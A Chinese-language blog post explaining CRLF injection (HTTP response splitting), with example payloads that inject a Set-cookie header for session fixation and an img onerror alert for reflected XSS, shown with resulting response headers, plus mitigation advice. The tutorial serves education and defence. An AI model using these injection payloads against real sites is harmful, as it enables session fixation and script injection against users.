美文网首页
CRLF注入攻击

CRLF注入攻击

作者: TsengYUen | 来源:发表于2019-05-08 17:34 被阅读0次

    一、概念

    回车换行(CRLF)注入攻击,又称HTTP头部返回拆分攻击,是一种当用户将CRLF字符插入到应用中而触发漏洞的攻击技巧。原理是服务器未过滤攻击者输入的数据,而直接放到头部,导致攻击者通过注入\n\r(%0d%0a)能够控制HTTP返回头部。CRLF字符(%0d%0a)在许多互联网协议中表示行的结束,包括HTML,该字符解码后即为\ r\ n。这些字符可以被用来表示换行符,并且当该字符与HTTP协议请求和响应的头部一起联用时就有可能会出现各种各样的漏洞,从而造成XSS注入攻击、Web缓存中毒、会话固定漏洞、302跳转攻击等攻击。。

    二、测试案例

    一般网站会在HTTP头中用Location: http://xxx.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。

    比如一个网站接受url参数http://xxx.com/?url=xxx,xxx放在Location后面作为一个跳转。

    1、会话固定漏洞

    如果我们输入的是http://xxx.com%0aSet-cookie:JSPSESSID%3Dwooyun,注入了一个换行,此时的返回包就会变成这样:

    HTTP/1.1 302 Moved Temporarily

    Date: Fri, 27 Jun 2014 17:52:17 GMT

    Content-Type: text/html

    Content-Length: 154

    Connection: close

    Location: http://www.sina.com.cn

    Set-cookie: JSPSESSID=wooyun

    这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。

    2、反射型XSS

    如果我们输入的是:http://xxx.com/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

    我们的返回包就会变成这样:

    HTTP/1.1 302 Moved Temporarily

    Date: Fri, 27 Jun 2014 17:52:17 GMT

    Content-Type: text/html

    Content-Length: 154

    Connection: close

    Location:

    <img src=1 onerror=alert(/xss/)>

    三、解决方法

    1、不要把用户的输入直接输出。

    2、过滤用户输入的\r\n。

    3、可以使用urlencode,对输出的文件名做url编码。

    参考:http://www.cnblogs.com/studyskill/p/6972576.html

    相关文章

      网友评论

          本文标题:CRLF注入攻击

          本文链接:https://www.haomeiwen.com/subject/ptqvoqtx.html